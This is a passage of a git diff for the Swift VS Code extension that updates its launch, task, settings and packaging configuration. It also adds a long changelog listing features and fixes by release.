"request": "launch", - "args": [ - "--extensionDevelopmentPath=${workspaceFolder}" - ], - "outFiles": [ - "${workspaceFolder}/dist/**/*.js" - ], - "preLaunchTask": "build" - }, - { - "name": "Extension Tests", - "type": "extensionHost", - "request": "launch", - "args": [ - "--extensionDevelopmentPath=${workspaceFolder}", - "--extensionTestsPath=${workspaceFolder}/out/test/suite/index", - "${workspaceFolder}/assets/test" - ], - "outFiles": [ - "${workspaceFolder}/out/test/**/*.js" - ], - "preLaunchTask": "compile" - } - ] + "version": "0.2.0", + "configurations": [ + { + "name": "Run Extension", + "type": "extensionHost", + "request": "launch", + "args": ["--extensionDevelopmentPath=${workspaceFolder}"], + "env": { + "VSCODE_DEBUG": "1" + }, + "outFiles": ["${workspaceFolder}/dist/**/*.js"], + "preLaunchTask": "Build Extension" + }, + { + "name": "Integration Tests", + "type": "extensionHost", + "request": "launch", + "testConfiguration": "${workspaceFolder}/.vscode-test.js", + "testConfigurationLabel": "integrationTests", + "args": ["--profile=testing-debug"], + "outFiles": ["${workspaceFolder}/dist/**/*.js"], + "env": { + "VSCODE_DEBUG": "1" + }, + "preLaunchTask": "compile-tests" + }, + { + "name": "Code Workspace Tests", + "type": "extensionHost", + "request": "launch", + "testConfiguration": "${workspaceFolder}/.vscode-test.js", + "testConfigurationLabel": "codeWorkspaceTests", + "args": ["--profile=testing-debug"], + "outFiles": ["${workspaceFolder}/dist/**/*.js"], + "env": { + "VSCODE_DEBUG": "1" + }, + "preLaunchTask": "compile-tests" + }, + { + "name": "Unit Tests", + "type": "extensionHost", + "request": "launch", + "testConfiguration": "${workspaceFolder}/.vscode-test.js", + "testConfigurationLabel": "unitTests", + "outFiles": ["${workspaceFolder}/dist/**/*.js"], + "preLaunchTask": "compile-tests" + }, + { + "name": "Update swift-docc-render", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceFolder}/node_modules/.bin/tsx", + "runtimeArgs": ["${workspaceFolder}/scripts/update_swift_docc_render.ts"] + }, + { + "name": "Preview Package", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceFolder}/node_modules/.bin/tsx", + "runtimeArgs": ["${workspaceFolder}/scripts/preview_package.ts"] + }, + { + "name": "Compile Icons", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceFolder}/node_modules/.bin/tsx", + "runtimeArgs": ["${workspaceFolder}/scripts/compile_icons.ts"] + } + ] } diff --git a/.vscode/settings.json b/.vscode/settings.json index 5c31c3df8..75f1ea6c9 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,20 +1,22 @@ // Place your settings in this file to overwrite default and user settings. { - "files.exclude": { - "out": false // set this to true to hide the "out" folder with the compiled JS files - }, - "search.exclude": { - "out": true // set this to false to include "out" folder in search results - }, - // Turn off tsc task auto detection since we have the necessary tasks as npm scripts - "typescript.tsc.autoDetect": "off", + "files.exclude": { + "dist": false // set this to true to hide the "dist" folder with the compiled JS files + }, + "search.exclude": { + "dist": true // set this to false to include "dist" folder in search results + }, + // Turn off tsc task auto detection since we have the necessary tasks as npm scripts + "typescript.tsc.autoDetect": "off", + // Tell VS Code to use the same version of TypeScript as the build + "typescript.tsdk": "node_modules/typescript/lib", - // Configure Prettier - "editor.defaultFormatter": "esbenp.prettier-vscode", - "[json]": { - "editor.formatOnSave": true - }, - "[typescript]": { - "editor.formatOnSave": true - } + // Configure Prettier + "editor.formatOnSave": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + + // Disable for when opening files in this workspace + "swift.disableAutoResolve": true, + "swift.autoGenerateLaunchConfigurations": false, + "swift.sourcekit-lsp.disable": true } diff --git a/.vscode/tasks.json b/.vscode/tasks.json index 67feb0351..019a838be 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -1,30 +1,79 @@ // See https://go.microsoft.com/fwlink/?LinkId=733558 // for the documentation about the tasks.json format { - "version": "2.0.0", - "tasks": [ - { - "label": "build", - "type": "npm", - "script": "esbuild-watch", - "problemMatcher": "$esbuild-watch", - "isBackground": true, - "presentation": { - "reveal": "never" - }, - "group": { - "kind": "build", - "isDefault": true - } - }, - { - "label": "compile", - "type": "npm", - "script": "compile", - "problemMatcher": "$tsc", - "presentation": { - "reveal": "never" - } - } - ] + "version": "2.0.0", + "tasks": [ + { + "label": "Build Extension", + "dependsOn": ["compile", "compile-documentation-webview"], + "group": { + "kind": "build", + "isDefault": true + } + }, + { + "label": "compile", + "type": "npm", + "script": "watch", + "problemMatcher": "$tsc-watch", + "presentation": { + "reveal": "never" + }, + "isBackground": true, + "group": { + "kind": "build" + } + }, + { + "label": "compile-documentation-webview", + "type": "npm", + "script": "watch-documentation-webview", + "problemMatcher": [ + { + "owner": "esbuild", + "severity": "error", + "source": "esbuild", + "fileLocation": "relative", + "background": { + "activeOnStart": true, + "beginsPattern": { + "regexp": "\\[watch\\] build started" + }, + "endsPattern": { + "regexp": "\\[watch\\] build finished" + } + }, + "pattern": [ + { + "regexp": "^[✘▲] \\[([A-Z]+)\\] (.+)", + "severity": 1, + "message": 2 + }, + { + "regexp": "^(?:\\t| {4})(?!\\s)([^:]+)(?::([0-9]+))?(?::([0-9]+))?:$", + "file": 1, + "line": 2, + "column": 3 + } + ] + } + ], + "presentation": { + "reveal": "never" + }, + "isBackground": true, + "group": { + "kind": "build" + } + }, + { + "label": "compile-tests", + "type": "npm", + "script": "compile-tests", + "problemMatcher": "$tsc", + "presentation": { + "reveal": "never" + } + } + ] } diff --git a/.vscode/testing-debug.code-profile b/.vscode/testing-debug.code-profile new file mode 100644 index 000000000..d9d74b288 --- /dev/null +++ b/.vscode/testing-debug.code-profile @@ -0,0 +1,4 @@ +{ + "name": "testing-debug", + "extensions": "[{\"identifier\":{\"id\":\"ms-vscode-remote.remote-containers\",\"uuid\":\"93ce222b-5f6f-49b7-9ab1-a0463c6238df\"},\"displayName\":\"Dev Containers\"},{\"identifier\":{\"id\":\"llvm-vs-code-extensions.lldb-dap\",\"uuid\":\"8f0e51b3-cc69-4cf9-abab-97289d29d6de\"},\"displayName\":\"LLDB DAP\"}]" +} \ No newline at end of file diff --git a/.vscodeignore b/.vscodeignore index 60f8aca4d..afe1d3f45 100644 --- a/.vscodeignore +++ b/.vscodeignore @@ -1,16 +1,18 @@ -.github/** -.gitignore -.vscode/** -.vscode-test/** -docker/** -assets/test/** -node_modules/** -out/** -scripts/** -src/** -test/** -**/.eslintrc.json -**/.prettierignore -**/.prettierrc.json -**/tsconfig.json -**/*.map +**/* +!LICENSE +!NOTICE.txt +!CHANGELOG-*.md +!README.md +!icon.png +!package.json +!dist/** +!images/** +!snippets/** +!assets/icons/** +!assets/walkthrough/** +!assets/documentation-webview/** +!assets/swift-docc-render/** +!assets/swift_askpass.sh +!node_modules/@vscode/codicons/** +!swift-gyb.language-configuration.json +!syntaxes/** diff --git a/CHANGELOG.md b/CHANGELOG.md index 5f296decf..9612250bd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,10 +1,678 @@ # Changelog -All notable changes to this project will be documented in this file. +## {{releaseVersion}} - {{releaseDate}} -The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). +### Fixed + +- Suggest "Open Documentation" when toolchain not found ([#1939](https://github.com/swiftlang/vscode-swift/pull/1939)) + +## 2.14.0 - 2025-11-11 + +### Added + +- Syntax highlighting for `*.swift.gyb` files ([#1515](https://github.com/swiftlang/vscode-swift/pull/1515)) +- Activate the extension if a workspace folder contains a `.bsp` folder ([#1865](https://github.com/swiftlang/vscode-swift/pull/1865)) + +### Fixed + +- Fixed an issue where the activation of the extension was held up while waiting on the debug configuration to update ([#1914](https://github.com/swiftlang/vscode-swift/pull/1914)) + +## 2.12.0 - 2025-10-29 + +### Added + +- Swiftly toolchain installation support with commands to install stable and snapshot releases, progress tracking, and secure post-install script handling ([#1780](https://github.com/swiftlang/vscode-swift/pull/1780)) +- Prompt to restart `SourceKit-LSP` after changing `.sourcekit-lsp/config.json` files ([#1744](https://github.com/swiftlang/vscode-swift/issues/1744)) +- Prompt to cancel and replace the active test run if one is in flight ([#1774](https://github.com/swiftlang/vscode-swift/pull/1774)) +- A walkthrough for first time extension users ([#1560](https://github.com/swiftlang/vscode-swift/issues/1560)) +- Allow `swift.backgroundCompilation` setting to accept an object where enabling the `useDefaultTask` property will run the default build task, and the `release` property will run the `release` variant of the Build All task ([#1857](https://github.com/swiftlang/vscode-swift/pull/1857)) +- Added new `target` and `configuration` properties to `swift` launch configurations that can be used instead of `program` for SwiftPM based projects ([#1890](https://github.com/swiftlang/vscode-swift/pull/1890)) + +### Fixed + +- Don't start debugging XCTest cases if the swift-testing debug session was stopped ([#1797](https://github.com/swiftlang/vscode-swift/pull/1797)) +- Improve error handling when the swift path is misconfigured ([#1801](https://github.com/swiftlang/vscode-swift/pull/1801)) +- Fix an error when performing "Run/Debug Tests Multiple Times" on Linux ([#1824](https://github.com/swiftlang/vscode-swift/pull/1824)) +- Fix the `> Swift: Run Swift Script` command not running unless a Swift Package folder is open ([#1832](https://github.com/swiftlang/vscode-swift/pull/1832)) +- Fix the SourceKit-LSP diagnostics reported progress ([#1799](https://github.com/swiftlang/vscode-swift/pull/1799)) +- Omit incompatible `additionalTestArgs` when building tests for debugging ([#1864](https://github.com/swiftlang/vscode-swift/pull/1864)) + +## 2.11.20250806 - 2025-08-06 + +### Added + +- New `swift.createTasksForLibraryProducts` setting that when enabled causes the extension to automatically create and provide tasks for library products ([#1741](https://github.com/swiftlang/vscode-swift/pull/1741)) +- New `swift.outputChannelLogLevel` setting to control the verbosity of the `Swift` output channel ([#1746](https://github.com/swiftlang/vscode-swift/pull/1746)) +- New `swift.debugTestsMultipleTimes` and `swift.debugTestsUntilFailure` commands for debugging tests over multiple runs ([#1763](https://github.com/swiftlang/vscode-swift/pull/1763)) +- Optionally include LLDB DAP logs in the Swift diagnostics bundle ([#1768](https://github.com/swiftlang/vscode-swift/pull/1758)) + +### Changed + +- Added log levels and improved Swift extension logging so a logfile is produced in addition to logging messages to the existing `Swift` output channel. Deprecated the `swift.diagnostics` setting in favour of the new `swift.outputChannelLogLevel` setting ([#1746](https://github.com/swiftlang/vscode-swift/pull/1746)) + +## 2.10.0 - 2025-07-28 + +### Added + +- Added Swiftly toolchain management support `.swift-version` files, and integration with the toolchain selection UI ([#1717](https://github.com/swiftlang/vscode-swift/pull/1717)) +- Added code lenses to run suites/tests, configurable with the `swift.showTestCodeLenses` setting ([#1698](https://github.com/swiftlang/vscode-swift/pull/1698)) +- New `swift.excludePathsFromActivation` setting to ignore specified sub-folders from being activated as projects ([#1693](https://github.com/swiftlang/vscode-swift/pull/1693)) +- New `swift.recordTestDuration` setting to disable capturing test durations, which can improve performance of heavy test runs ([#1745](https://github.com/swiftlang/vscode-swift/pull/1745)) +- Add a `Generate SourceKit-LSP Configuration` command that creates the configuration file with versioned schema pre-populated ([#1726](https://github.com/swiftlang/vscode-swift/pull/1716)) + +### Fixed + +- `Run multiple times...` and `Run until failure...` will now work when multiple tests are selected ([#1724](https://github.com/swiftlang/vscode-swift/pull/1724)) +- Provide the Swift environment variables when resolving a `swift-plugin` task ([#1727](https://github.com/swiftlang/vscode-swift/pull/1727)) +- Optimized test explorer for test runs with many test cases ([#1734](https://github.com/swiftlang/vscode-swift/pull/1734)) + +## 2.8.0 - 2025-07-14 + +### Added + +- Add clickable toolchain selection to Swift version status bar item ([#1674](https://github.com/swiftlang/vscode-swift/pull/1674)) +- Add macOS support for Swiftly toolchain management ([#1673](https://github.com/swiftlang/vscode-swift/pull/1673)) +- Show revision hash or local/editing keyword in project panel dependency descriptions ([#1667](https://github.com/swiftlang/vscode-swift/pull/1667)) +- Show files generated by build plugins under Target in Project Panel ([#1592](https://github.com/swiftlang/vscode-swift/pull/1592)) +- Added `scope` to extension settings ([#1629](https://github.com/swiftlang/vscode-swift/pull/1629)) + +### Fixed + +- Fix test explorer tests not updating on document modification ([#1663](https://github.com/swiftlang/vscode-swift/pull/1663)) +- Fix improper parenting of tests w/ identical names in explorer ([#1664](https://github.com/swiftlang/vscode-swift/pull/1664)) +- Ensure document symbols are provided for folders in multi-root workspaces ([#1668](https://github.com/swiftlang/vscode-swift/pull/1668)) +- Fix comment regex not handling params/types/fn names containing `func` ([#1697](https://github.com/swiftlang/vscode-swift/pull/1697)) +- Prepend `/// ` when continuing documentation comments on a new line ([#1703](https://github.com/swiftlang/vscode-swift/pull/1703)) +- Respect `files.exclude` setting values set to `false` ([#1696](https://github.com/swiftlang/vscode-swift/pull/1696)) + +## 2.6.1 - 2025-06-27 + +### Fixed + +- Cleanup Swift diagnostics when the source file is moved or deleted ([#1653](https://github.com/swiftlang/vscode-swift/pull/1653)) +- Make sure newline starts with `///` when splitting doc comment ([#1651](https://github.com/swiftlang/vscode-swift/pull/1651)) +- Capture diagnostics with `Swift: Capture Diagnostic Bundle` to a .zip file ([#1656](https://github.com/swiftlang/vscode-swift/pull/1656)) +- Prevent continuous "package resolve" cycles ([#1654](https://github.com/swiftlang/vscode-swift/pull/1654)) +- Fix error when running `Reset Package Dependencies` command from the Project view ([#1661](https://github.com/swiftlang/vscode-swift/pull/1661)) +- Mark tests as skipped when a compilation error preempts a test run ([#1659](https://github.com/swiftlang/vscode-swift/pull/1659)) + +## 2.6.0 - 2025-06-26 + +### Added + +- Support for [multi-root .code-workspace](https://code.visualstudio.com/docs/editing/workspaces/multi-root-workspaces) workspaces ([#1566](https://github.com/swiftlang/vscode-swift/pull/1566)) +- Notify user if the `xcode-select`ed Xcode doesn't match setting ([#1563](https://github.com/swiftlang/vscode-swift/pull/1563)) + +### Fixed + +- Do not show non-"swift" tasks in the project panel ([#1620](https://github.com/swiftlang/vscode-swift/pull/1620)) +- Make sure activation does not fail when `swift.path` is `null` ([#1616](https://github.com/swiftlang/vscode-swift/pull/1616)) +- Fix `Swift: Reset Package Dependencies` command on Windows ([#1614](https://github.com/swiftlang/vscode-swift/pull/1614)) +- Activate extension when a .swift source file exists in a subfolder ([#1635](https://github.com/swiftlang/vscode-swift/pull/1635)) +- Resolve Swiftly toolchain path ([#1632](https://github.com/swiftlang/vscode-swift/pull/1632)) +- Fix diagnostic parsing when the file has a space in it ([#1633](https://github.com/swiftlang/vscode-swift/pull/1633)) +- Hide files excluded with files.exclude from Project Panel ([#1626](https://github.com/swiftlang/vscode-swift/pull/1626)) + +## 2.4.0 - 2025-06-11 + +### Added + +- Add command to generate launch configurations ([#1577](https://github.com/swiftlang/vscode-swift/pull/1577)) + +### Fixed + +- Break immediately when cancelling a multiple test run ([#1589](https://github.com/swiftlang/vscode-swift/pull/1589)) +- Fix timing issues introduced by new version of Node.js ([#1576](https://github.com/swiftlang/vscode-swift/pull/1576)) +- Fix issues with splitting output lines on Windows ([#1570](https://github.com/swiftlang/vscode-swift/pull/1570)) +- Better handle status updates for build tasks ([#1539](https://github.com/swiftlang/vscode-swift/pull/1539)) +- Allow platform selection in remote SSH sessions ([#1567](https://github.com/swiftlang/vscode-swift/pull/1567)) +- Don't colorize swift testing issue messages ([#1543](https://github.com/swiftlang/vscode-swift/pull/1543)) +- Poll for updated tasks in project panel ([#1516](https://github.com/swiftlang/vscode-swift/pull/1516)) +- Support finding compile_commands.json in non root project directories ([#1484](https://github.com/swiftlang/vscode-swift/pull/1484)) +- Support different toolchains per folder ([#1478](https://github.com/swiftlang/vscode-swift/pull/1478)) +- Disable clicking on links in Live Preview ([#1518](https://github.com/swiftlang/vscode-swift/pull/1518)) +- Avoid blocking folder addition on package loading ([#1422](https://github.com/swiftlang/vscode-swift/pull/1422)) +- Increase the size of child_process buffers ([#1506](https://github.com/swiftlang/vscode-swift/pull/1506)) +- Fix handling of malformed educational notes links ([#1607](https://github.com/swiftlang/vscode-swift/pull/1607)) + +## 2.2.0 - 2025-04-07 + +### Added + +- Convert the Dependencies View into the Project Panel to view all aspects of your Swift project ([#1382](https://github.com/swiftlang/vscode-swift/pull/1382)) +- Use the LLDB DAP extension to debug when using a Swift 6 toolchain ([#1384](https://github.com/swiftlang/vscode-swift/pull/1384)) +- Added run and debug buttons to Swift editors ([#1378](https://github.com/swiftlang/vscode-swift/pull/1378)) +- Educational notes from compiler diagnostics can be viewed directly in VS Code ([#1423](https://github.com/swiftlang/vscode-swift/pull/1423)) +- Swift settings now support variable substitutions ([#1439](https://github.com/swiftlang/vscode-swift/pull/1439)) +- SwiftPM plugin tasks are now configurable via settings ([#1409](https://github.com/swiftlang/vscode-swift/pull/1409)) +- Added the `swift.scriptSwiftLanguageVersion` setting to choose Swift language mode when running scripts (thanks @louisunlimited) ([#1476](https://github.com/swiftlang/vscode-swift/pull/1476)) + +### Fixed + +- Prevent duplicate reload extension notifications from appearing ([#1473](https://github.com/swiftlang/vscode-swift/pull/1473)) +- Actual and Expected values are shown in the right order on test failure ([#1444](https://github.com/swiftlang/vscode-swift/issues/1444)) +- Correctly set the `DEVELOPER_DIR` environment variable when selecting between two Xcode installs ([#1433](https://github.com/swiftlang/vscode-swift/pull/1433)) +- Prompt to reload the extension when swiftEnvironmentVariables is changed ([#1430](https://github.com/swiftlang/vscode-swift/pull/1430)) +- Search for Swift packages in sub-folders of the workspace ([#1425](https://github.com/swiftlang/vscode-swift/pull/1425)) +- Fix missing test result output on Linux when using print ([#1401](https://github.com/swiftlang/vscode-swift/pull/1401)) +- Stop all actively running tests when stop button is pressed ([#1391](https://github.com/swiftlang/vscode-swift/pull/1391)) +- Properly set `--swift-sdk` when using `Swift: Select Target Platform` on Swift 6.1 ([#1390](https://github.com/swiftlang/vscode-swift/pull/1390)) + +## 2.0.2 - 2025-02-20 + +### Fixed + +- Fix debugging of Swift tests when using Xcode 16.1 Beta ([#1396](https://github.com/swiftlang/vscode-swift/pull/1396)) + +## 2.0.1 - 2025-02-10 + +Rename the `displayName` of the extension back to `Swift` now that the old `sswg` extension has been renamed to `Swift (Deprecated)`. + +### Added + +- Add a new setting (`swift.packageArguments`) to provide arguments to swift commands that can resolve packages ([#1342](https://github.com/swiftlang/vscode-swift/pull/1342)) +- Add VS Code iconography to the Run and Debug code lenses ([#1347](https://github.com/swiftlang/vscode-swift/pull/1347)) + +## 2.0.0 - 2025-02-09 + +The Swift extension for VS Code has moved to the [official swiftlang organization in the VS Code Marketplace](https://marketplace.visualstudio.com/items?itemName=swiftlang.swift-vscode)! +The new extension id is `swiftlang.swift-vscode`. + +### Added + +- Permissions for plugin tasks can now be configured with the `swift.pluginPermissions` setting ([#1297](https://github.com/swiftlang/vscode-swift/pull/1297)) +- Add support for the `--swift-sdk` SwiftPM option ([#1191](https://github.com/swiftlang/vscode-swift/pull/1191)) +- Improve documentation around disabling SourceKit-LSP as to what features it will impact ([#1308](https://github.com/swiftlang/vscode-swift/pull/1308)) +- The extension will now detect when xcode-select has been used to select a different Xcode toolchain on macOS ([#1244](https://github.com/swiftlang/vscode-swift/pull/1244)) +- Builds will now show a `Preparing` notification when launched before progress is available ([#1323](https://github.com/swiftlang/vscode-swift/pull/1323)) + +### Fixed + +- Dependencies downloaded from a registry will now display properly in the dependencies view ([#1311](https://github.com/swiftlang/vscode-swift/pull/1311)) + +## 1.11.4 - 2024-12-06 + +### Added + +- Activate extension when `compile_flags.txt` or `buildServer.json` is present ([#1240](https://github.com/swiftlang/vscode-swift/pull/1240)) +- Add `"auto"` mode to sourcekit-lsp `backgroundIndexing` setting ([#1232](https://github.com/swiftlang/vscode-swift/pull/1232)) + +### Fixed + +- Fix location for diagnostics generated from macros via `swiftc` ([#1234](https://github.com/swiftlang/vscode-swift/pull/1234)) +- Fixed inability to `Debug Test` on test targets in Test Explorer ([#1209](https://github.com/swiftlang/vscode-swift/pull/1209)) +- Fixed bug that could cause all tests to run when only some tests were requested ([#1186](https://github.com/swiftlang/vscode-swift/pull/1186)) +- Fix test runs not being able to be cancelled in some situations ([#1153](https://github.com/swiftlang/vscode-swift/pull/1153)) + +## 1.11.3 - 2024-09-23 + +### Fixed + +- XCTest output is not recorded when using CodeLLDB ([#1100](https://github.com/swiftlang/vscode-swift/pull/1100)) +- Only add line terminator to selector when not debugging tests ([#1097](https://github.com/swiftlang/vscode-swift/pull/1097)) +- Warn instead of error on missing test framework version on Windows ([#1098](https://github.com/swiftlang/vscode-swift/pull/1098)) + +## 1.11.2 - 2024-09-23 + +### Fixed + +- Fixed several debugging issues on Windows ([#1083](https://github.com/swiftlang/vscode-swift/pull/1083)) +- Correct filtering of test names that share a common prefix ([#1086](https://github.com/swiftlang/vscode-swift/pull/1086)) +- Prevent truncation of diagnostic messages on Windows ([#1082](https://github.com/swiftlang/vscode-swift/pull/1082)) +- Provide diagnostics for C/C++ source ([#1062](https://github.com/swiftlang/vscode-swift/pull/1062)) + +## 1.11.1 - 2024-09-17 + +### Fixed + +- Fix extension activation when running with latest VS Code insiders build ([#1073](https://github.com/swiftlang/vscode-swift/pull/1073)) +- Make LLDB launch configurations platform agnostic ([#1024](https://github.com/swiftlang/vscode-swift/pull/1024)) +- Prevent race condition when printing test output from swift-testing ([#1058](https://github.com/swiftlang/vscode-swift/pull/1058)) + +## 1.11.0 - 2024-08-28 + +### Added + +- Added New Swift File command ([#1018](https://github.com/swiftlang/vscode-swift/pull/1018)) +- Added the `swift.sourcekit-lsp.backgroundIndexing` setting to enable experimental background indexing in SourceKit-LSP with Swift 6 ([#992](https://github.com/swiftlang/vscode-swift/issues/992)) +- Added the `swift.additionalTestArguments` setting to add arguments to `swift test` and `swift build --build-tests` commands used when building and running tests within VS Code ([#1020](https://github.com/swiftlang/vscode-swift/pull/1020)) +- Run tests multiple times by right clicking them in the Test Explorer > Run Multiple Times ([#1009](https://github.com/swiftlang/vscode-swift/pull/1009)) +- Run tests until a failure (or a maximum number) by right clicking them in the Test Explorer > Run Until Failure ([#1009](https://github.com/swiftlang/vscode-swift/pull/1009)) + +### Changed + +- Comments preceding a failing [swift-testing](https://github.com/swiftlang/swift-testing) expectations are included in the test output to match command line behavior ([#1025](https://github.com/swiftlang/vscode-swift/pull/1025)) + +### Fixed + +- Properly forward exit code if a task is terminated by the user with CTRL/CMD+C ([#1006](https://github.com/swiftlang/vscode-swift/pull/1006)) +- Update path of `lldb-dap` on Darwin ([#1008](https://github.com/swiftlang/vscode-swift/pull/1008)) +- Mark XCTest suites as passed/failed immediately on suite completion ([#1031](https://github.com/swiftlang/vscode-swift/pull/1031)) +- swift-testing tags on suites should be inherited by child suites and tests ([#1015](https://github.com/swiftlang/vscode-swift/pull/1015)) +- More reliably detect if the test binary is a unified [swift-testing](https://github.com/swiftlang/swift-testing) + XCTest binary ([#1004](https://github.com/swiftlang/vscode-swift/pull/1004)) + +## 1.10.7 - 2024-08-08 + +### Changed + +- Support the new unified testing binary format released with Xcode 16 Beta 5 +- Improved error reporting when SourceKit-LSP fails to start + +### Fixed + +- When debugging XCTests on linux/windows the list of tests provided to XCTest should be comma separated + +## 1.10.6 - 2024-07-21 + +### Fixed + +- Setting of Path when debugging tests to find XCTest.dll on Windows + +## 1.10.5 - 2024-07-19 + +### Added + +- Re-index project command. + +### Changed + +- Add setting to exclude files/directories from code coverage results +- Updated and refined settings descriptions +- Added "throws" section to doc comment template + +### Fixed + +- Use correct XCTest path when debugging Windows. + +## 1.10.4 - 2024-07-08 + +### Added + +- `Swift` terminal profile +- Set Swift environment variables in the integrated terminal + +### Fixed + +- Parameterized `swift-testing` tests inherit tags +- Updated the Swiftly URL +- Fix duplicate symbol linker error when building Windows tests with coverage +- Update `DEVELOPER_DIR` for macOS toolchain selection + +## 1.10.3 - 2024-06-24 + +### Added + +- Issue diagnosis command `swift: Capture VS Code Swift Diagnostic Bundle` + +### Fixed + +- No longer show XCTest failures under Problems view +- Fix an issue where stale diagnostics were not being removed + +## 1.10.2 - 2024-06-18 + +### Added + +- Release test run profiles. +- Allow SourceKit-LSP to write to multiple output channels. +- Warn users about lack of symlink privileges on Windows + +### Changed + +- Renamed `swift-latest` to `Latest Installed Toolchain` in toolchain selection dialog. +- Improved LSP configuration change notification. +- Improved toolchain error message when swift.path exists in settings. + +### Fixed + +- Removed stale swiftc diagnostics when loading sourcekit-lsp diagnostics. +- Only create fifo pipe when running swift-testing tests. +- Always register the swift-lldb debug adapter provider. +- Use proper lldb path on Windows. + +## 1.10.1 - 2024-06-10 + +### Fixed + +- Fix XCTest argument format when debugging multiple tests +- Add user defined and optional sanitizer/diagnostics arguments to test builds +- Silence Terminal on test runs + +## 1.10.0 - 2024-06-07 + +### Added + +- Support for swift-testing. +- Toolchain selection command `swift: Select Toolchain...`. +- Create new Swift project command `swift: Create New Project...`. +- Use custom LSP requests for test discovery. +- Support for recording multiple issues per test. +- Code snippets for common actions, like creating tests, availability conditions, option sets. +- CustomExecution for swift tasks. +- UI showing Swift build status + +### Changed + +- Replace test coverage support with native VSCode coverage APIs. +- Merge SourceKit-LSP diagnostics with diagnostics from Swift compiler. +- Removed `swift.problemMatchCompileErrors` as it is no longer needed. +- Deprecate `swift.sourcekit-lsp.serverPath` setting. +- Only disable build tasks, while other tasks are running, in Swift versions earlier than 6. As Swift 6 manages access to `.build` folder. + +### Other + +- Removed CI for Swift 5.4/5.5 + +## 1.9.0 - 2024-04-15 + +### Added + +- Running tests in parallel. It is available from the drop-down next to the run button at the top of the TestExplorer. It is not available while debugging and parsing of XCT failure messages does not work prior to Swift 6. + +### Changed + +- If using Swift 5.10 allow for InlayHint text edits. +- If using Swift 6 name of debug adapter has changed from `lldb-vscode` to `lldb-dap`. + +### Fixed + +- Don't check if line above is a comment if you are on line 0 in comment completion code. + +## 1.8.1 - 2024-03-06 + +### Fixed + +- Loading of package dependencies for Swift 5.10 packages. + +## 1.8.0 - 2024-02-21 + +### Added + +- Platform specific settings in the swift task definition. +- Environment variables to set while running a swift task. +- Setting to disable all Swift Package Manager integrations. +- Activate extension when debugging. +- Watch for changes to swift files in test targets and flag 'test discovery is required' if a file changes or is deleted. + +### Changed + +- Expand `~` in swift file path setting to home directory. +- Don't create test explorer if project has no tests. +- Only run test discovery after a build all task. + +### Fixed +- Parsing of test output while debugging tests. + +## 1.7.2 - 2024-01-03 + +### Added + +- Setting to control action after a build error: focus on problems pane, focus on terminal or do nothing. + +### Changed + +- Don't force show test pane when testing starts. Let `Testing: Open Testing` define when test pane should open. + +### Fixed + +- Setup of URI on readonly document viewer. This fixes jump to symbol in a swiftinterface on Windows + +## 1.7.1 - 2023-12-02 + +### Added + +- Task queue operation to spawn a process and parse its output. Using this ensures a build task does not run at the same time. +- Use spawn process task queue operation in test discovery and unedit of modules. + +### Changed + +- Don't wait for SwiftPM plugin listing to finish before allowing build and run. +- If auto-resolve is disabled then also disable the initial test discovery as this can cause a resolve + +### Fixed +- Finding swift executable on non-english installs of Linux + +## 1.7.0 - 2023-10-25 + +Merge debug adapter changes from v1.6.x prerelease builds into main release. + +### Changed + +- Consolidate common debug configurations when building debug configurations. + +### Fixed + +- Fix version comparisons for Swift versions 5.10 or greater. +- Increase the size of stdout available to `llvm-cov` process. This fixes displaying test coverage for larger projects. +- Build product instead of target when compiling Swift Snippets. This fixes running of Snippets on macOS. + +## 1.6.1 - 2023-10-04 (Toolchain debug adapter preview) + +### Added + +- Command `swift.attachDebugger` to attach debugger to process + +### Fixed + +- Path construction on Windows in `launch.json` + +## 1.6.0 - 2023-08-31 (Toolchain debug adapter preview) + +### Added + +- Support for using debug adapter included in Swift toolchain instead of CodeLLDB extension. Currently this is only available in the Windows toolchain. Setting for this is disabled by default. + +## 1.5.2 - 2023-09-21 + +### Fixed + +- Toolchain setup for installs that don't include a `usr` folder. + +## 1.5.1 - 2023-08-30 + +### Added + +- Support for automatic search of sub-folders for Swift packages. Defaulted to off. +- Debug adapter tracker to catch logging to stdout and stderr. Test output is now visible while debugging tests. + +### Fixed + +- Removal of workspace folders, now removes all packages associated with the workspace not just the one at the root of the folder. +- Custom Swift path on Windows. +- Fixed adding of packages in sub-folders twice at startup. + +## 1.5.0 - 2023-08-18 + +### Added + +- Run/Debug commands that will run/debug executable associated with current active file. +- Run/Debug context menu entries for files that have an associated executable. + +### Changes + +- **Breaking Change**: SourceKit-LSP configuration settings have been renamed to include a `swift.` prefix to avoid clashes with the original SourceKit-LSP extension. +- If background compilation is enabled, then run build as startup. +- Removed `Run Script` context menu entry when editing a file that is part of a Package. +- Use `tasks.json` default build task, if setup, for Test explorer and background compilation. +- Only use custom macOS test debug configuration, which was added to fix an issue in Swift 5.6, when using Swift 5.6. + +### Fixed + +- If LSP server shutdown times out, still restart the server. +- Fix version check for versions of Swift prior to 5.4. + +## 1.4.0 - 2023-07-05 + +### Added + +- Add sanitizer build setting +- Build tasks are not available while other tasks are running on the package +- Add read-only document provider for swiftinterface files in preparation for go to definition for stdlib/framework symbols. + +### Changed + +- Add supported language configuration setting to replace Support C/C++ setting +- deprecate Support C/C++ setting +- Remove a number of unnecessary build arguments for Windows when using Swift 5.9 or later +- Configure vscode-lldb to use native expressions + +### Fixed + +- Require a reload when using the select Xcode developer directory command +- Reporting of errors returned by the compiler without a column number + +## 1.3.0 - 2023-05-03 + +### Added -## 0.7.0 - 2022-07-16 +- Flag to Swift tasks and Swift command plugin tasks that delays queued tasks (eg resolve, update) while task is running. Build tasks have this set to true by default. +- Default settings for popular Swift command plugins (Docc, lambda, SwiftFormat). + +### Changed + +- Class TestItems status is updated once all the tests inside have completed, instead of once test run has completed. +- Use `--scratch-path` argument instead of `--build-path` when running on Swift 5.8 or later. + +## 1.2.1 - 2023-04-13 + +### Changed + +- Run the test executable directly when running tests instead of via `swift test`. + +### Fixed + +- Ensure we catch errors when decoding `Info.plist` on Windows. +- Halt `xctest` process if testing is cancelled. + +## 1.2.0 - 2023-03-22 + +### Added + +- Accessibilty info to UI elements. +- `sourceLanguage` element to generated launch configurations. 